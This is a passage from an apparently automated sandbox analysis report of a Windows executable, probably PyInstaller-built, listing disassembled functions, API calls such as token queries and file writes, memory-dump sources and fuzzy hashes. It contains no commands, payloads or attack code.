                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 81C1D4A2B0CE8641E770ABBD94402BDA765EB81B90FD54231EACE07791FF7CE4458721
                                                                                                                                                                                                                                          Function 00007FF79D058760 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 995526605-0
                                                                                                                                                                                                                                          • Opcode ID: 960e55689f8153c2b27b80b9ea7c16c7327bf886aabdd5ec5ebc892c06a11a30
                                                                                                                                                                                                                                          • Instruction ID: 719c8d6deb9d555851e9d600e419db10f41bac8bbeddeb28ac4ba1bc0c76c83e
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 960e55689f8153c2b27b80b9ea7c16c7327bf886aabdd5ec5ebc892c06a11a30
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 57210335A0C64242EB60AB7AF45523AE7A0FF857A0F900235EEED47BE4EE6CD4458750
                                                                                                                                                                                                                                          Function 00007FF79D0590E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetCurrentProcess.KERNEL32 ref: 00007FF79D058780
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: OpenProcessToken.ADVAPI32 ref: 00007FF79D058793
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetTokenInformation.KERNELBASE ref: 00007FF79D0587B8
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetLastError.KERNEL32 ref: 00007FF79D0587C2
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: GetTokenInformation.KERNELBASE ref: 00007FF79D058802
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF79D05881E
                                                                                                                                                                                                                                            • Part of subcall function 00007FF79D058760: CloseHandle.KERNEL32 ref: 00007FF79D058836
                                                                                                                                                                                                                                          • LocalFree.KERNEL32(?,00007FF79D053C55), ref: 00007FF79D05916C
                                                                                                                                                                                                                                          • LocalFree.KERNEL32(?,00007FF79D053C55), ref: 00007FF79D059175
                                                                                                                                                                                                                                          Strings
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                                                                                                                                                                                                          • String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
                                                                                                                                                                                                                                          • API String ID: 6828938-1529539262
                                                                                                                                                                                                                                          • Opcode ID: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                          • Instruction ID: b422c1d5b785c12845e8272001efad2427b60f0550656d7785b6867185db0c34
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3eb7115bd34229e0b110e4578eeeb93c66e7230f7a251aed45e8d0dbb8b27e08
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 36211C21A0CB4285E620BB76E9152FAA361FF88780FC44435EE8D57796EF3CD9458760
                                                                                                                                                                                                                                          Function 00007FF79D06CFD0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                                                                                                                                                                                                                          Download Yara Rule

                                                                                                                                                                                                                                          Control-flow Graph

                                                                                                                                                                                                                                          • Executed
                                                                                                                                                                                                                                          • Not Executed
                                                                                                                                                                                                                                          control_flow_graph 963 7ff79d06cfd0-7ff79d06cff5 964 7ff79d06cffb-7ff79d06cffe 963->964 965 7ff79d06d2c3 963->965 967 7ff79d06d037-7ff79d06d063 964->967 968 7ff79d06d000-7ff79d06d032 call 7ff79d06a884 964->968 966 7ff79d06d2c5-7ff79d06d2d5 965->966 970 7ff79d06d06e-7ff79d06d074 967->970 971 7ff79d06d065-7ff79d06d06c 967->971 968->966 972 7ff79d06d076-7ff79d06d07f call 7ff79d06c390 970->972 973 7ff79d06d084-7ff79d06d099 call 7ff79d07398c 970->973 971->968 971->970 972->973 978 7ff79d06d1b3-7ff79d06d1bc 973->978 979 7ff79d06d09f-7ff79d06d0a8 973->979 980 7ff79d06d1be-7ff79d06d1c4 978->980 981 7ff79d06d210-7ff79d06d235 WriteFile 978->981 979->978 982 7ff79d06d0ae-7ff79d06d0b2 979->982 985 7ff79d06d1fc-7ff79d06d20e call 7ff79d06ca88 980->985 986 7ff79d06d1c6-7ff79d06d1c9 980->986 983 7ff79d06d237-7ff79d06d23d GetLastError 981->983 984 7ff79d06d240 981->984 987 7ff79d06d0c3-7ff79d06d0ce 982->987 988 7ff79d06d0b4-7ff79d06d0bc call 7ff79d064830 982->988 983->984 989 7ff79d06d243 984->989 1011 7ff79d06d1a0-7ff79d06d1a7 985->1011 990 7ff79d06d1cb-7ff79d06d1ce 986->990 991 7ff79d06d1e8-7ff79d06d1fa call 7ff79d06cca8 986->991 993 7ff79d06d0df-7ff79d06d0f4 GetConsoleMode 987->993 994 7ff79d06d0d0-7ff79d06d0d9 987->994 988->987 996 7ff79d06d248 989->996 997 7ff79d06d254-7ff79d06d25e 990->997 998 7ff79d06d1d4-7ff79d06d1e6 call 7ff79d06cb8c 990->998 991->1011 1001 7ff79d06d1ac 993->1001 1002 7ff79d06d0fa-7ff79d06d100 993->1002 994->978 994->993 1004 7ff79d06d24d 996->1004 1005 7ff79d06d2bc-7ff79d06d2c1 997->1005 1006 7ff79d06d260-7ff79d06d265 997->1006 998->1011 1001->978 1009 7ff79d06d189-7ff79d06d19b call 7ff79d06c610 1002->1009 1010 7ff79d06d106-7ff79d06d109 1002->1010 1004->997 1005->966 1012 7ff79d06d267-7ff79d06d26a 1006->1012 1013 7ff79d06d293-7ff79d06d29d 1006->1013 1009->1011 1016 7ff79d06d10b-7ff79d06d10e 1010->1016 1017 7ff79d06d114-7ff79d06d122 1010->1017 1011->996 1020 7ff79d06d26c-7ff79d06d27b 1012->1020 1021 7ff79d06d283-7ff79d06d28e call 7ff79d064f34 1012->1021 1022 7ff79d06d2a4-7ff79d06d2b3 1013->1022 1023 7ff79d06d29f-7ff79d06d2a2 1013->1023 1016->1004 1016->1017 1018 7ff79d06d124 1017->1018 1019 7ff79d06d180-7ff79d06d184 1017->1019 1024 7ff79d06d128-7ff79d06d13f call 7ff79d073a58 1018->1024 1019->989 1020->1021 1021->1013 1022->1005 1023->965 1023->1022 1029 7ff79d06d177-7ff79d06d17d GetLastError 1024->1029 1030 7ff79d06d141-7ff79d06d14d 1024->1030 1029->1019 1031 7ff79d06d16c-7ff79d06d173 1030->1031 1032 7ff79d06d14f-7ff79d06d161 call 7ff79d073a58 1030->1032 1031->1019 1034 7ff79d06d175 1031->1034 1032->1029 1036 7ff79d06d163-7ff79d06d16a 1032->1036 1034->1024 1036->1031
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79D06CFBB), ref: 00007FF79D06D0EC
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79D06CFBB), ref: 00007FF79D06D177
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ConsoleErrorLastMode
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 953036326-0
                                                                                                                                                                                                                                          • Opcode ID: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                          • Instruction ID: d9b47d4b301cbc07b585a3b69464089dd41249c3862eb7c3110207e99088e6b7
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6e58aef6e17acf8d0a0aea0d946e1cce7a25eacb923cf4c64ad3114965f560b8
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4691B532F1CA5295F770AFB994402BDABA0BB54B88FD44235DE8E57684EE78D442C730
                                                                                                                                                                                                                                          Function 00007FF79D065698 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1279662727-0
                                                                                                                                                                                                                                          • Opcode ID: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
                                                                                                                                                                                                                                          • Instruction ID: 8d8ab09b6c1a6eb8d5b2809418166acb14063e91b132ad4cdf77ff6574ccbac9
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bf36874ab91a00f02a28b4fbd79205fddfb0159c1c162080bddd18248f81d06a
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1541A522E1CB8183E320AB759518379A360FBA4764F909334E6DC03AD1EF6CA4E08720
                                                                                                                                                                                                                                          Function 00007FF79D05CCAC Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3251591375-0
                                                                                                                                                                                                                                          • Opcode ID: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                          • Instruction ID: ed25cd8f7e14372c30da1e2ce42fc7e199e3c58c0264eb2b8911b61c09072c64
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: bd18f10481fc1cc14ce46c2a249e6ab71ba61d2437927de899b0ff225cfe2228
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: A6313720E0C64285EA34BB7EA8653B9A791AF41784FC41435DDCE8B2D3FE2CA4448279
                                                                                                                                                                                                                                          Function 00007FF79D069AA0 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Process$CurrentExitTerminate
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1703294689-0
                                                                                                                                                                                                                                          • Opcode ID: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                          • Instruction ID: ab76a9e7ae513b74954d773fe4529a1ff850e34df79c57df8b4dedad236b2896
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 230ddfbeb2cfdc83e04e02b0fbb537ff9f96aef2fd2a5ab3fdce6eee95276a48
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 28D09E20B0CB4642EB347FB96C990BC92916F48751FD41538D88B0B793FD2CA44D4360
                                                                                                                                                                                                                                          Function 00007FF79D0601AC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                          • Instruction ID: 49ae745353af9dcf665a2d462d0641c5b6c8237bb314bb69fc193e6242e3c68c
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0D510361B4DA5286E638AEBE950067AA295BF44BA4FD44730DEEC077CDEE3CD4118620
                                                                                                                                                                                                                                          Function 00007FF79D06C1A4 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFileLastPointer
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 2976181284-0
                                                                                                                                                                                                                                          • Opcode ID: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                          • Instruction ID: c8ec8ffa8d634727d4cb67c1188e0dadaa9fd88f3dc2112d94cfcc0b68bb9122
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: fe8bab274ce7bcf2293d1df97f88808174c3604892bb54168c1d2d59b6616a84
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1D11046170CA8281DA20AB79A804069A761BB45BF4FD40331EEBD4B7D8EE3CD0018704
                                                                                                                                                                                                                                          Function 00007FF79D06A9B8 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • RtlFreeHeap.NTDLL(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9CE
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D072D92,?,?,?,00007FF79D072DCF,?,?,00000000,00007FF79D073295,?,?,?,00007FF79D0731C7), ref: 00007FF79D06A9D8
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 485612231-0
                                                                                                                                                                                                                                          • Opcode ID: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                          • Instruction ID: b47e7d9b64d7be2c65a1bb92706777de576107fa86e73114202af49aab36d970
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4768bb9444967098c6ff0662bce39d003f3d6bed11959a3c87c06bce48e858a7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: F8E0EC51F0DA0292FF38BBFAA85517992517F88B40FC54235D99D973A2FE2CA8858730
                                                                                                                                                                                                                                          Function 00007FF79D06ABC8 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          • CloseHandle.KERNELBASE(?,?,?,00007FF79D06AA45,?,?,00000000,00007FF79D06AAFA), ref: 00007FF79D06AC36
                                                                                                                                                                                                                                          • GetLastError.KERNEL32(?,?,?,00007FF79D06AA45,?,?,00000000,00007FF79D06AAFA), ref: 00007FF79D06AC40
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CloseErrorHandleLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 918212764-0
                                                                                                                                                                                                                                          • Opcode ID: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                          • Instruction ID: 73337255999908b743ebf3a41dee322e052a62f40b88c2bc7355c0d89a5e2d41
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1c4273fb4a414bd16749861b25ace672462e960675883ae7dbf138385109c950
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: BC21C611F1CA4242FAB477B9945537D9292BF847A4FC84335DA9E473C2EE6CE4458320
                                                                                                                                                                                                                                          Function 00007FF79D06BF1C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D08E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292157741.00007FF79D092000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292208911.00007FF79D094000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_7ff79d050000_riFSkYVMKB.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3215553584-0
                                                                                                                                                                                                                                          • Opcode ID: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                          • Instruction ID: 380d44dde4ecc7bbc3d6dd1b072d251595c208b3f7f8178d70cbfc80aa12cb6d
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 83fd655adac635c1bfef66338e564e5d3c087748e58eff1a34e14c1f5e77bb28
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4641A432B0CA4187EA34ABBEA54027DB7A4FB55B44FD00231D6CE47691EF2DE402CB61
                                                                                                                                                                                                                                          Function 00007FF79D057F80 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000000.00000002.2292087230.00007FF79D051000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79D050000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292042878.00007FF79D050000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000000.00000002.2292121517.00007FF79D07B000.00000002.00000001.01000000.00000003.sdmpDownload File
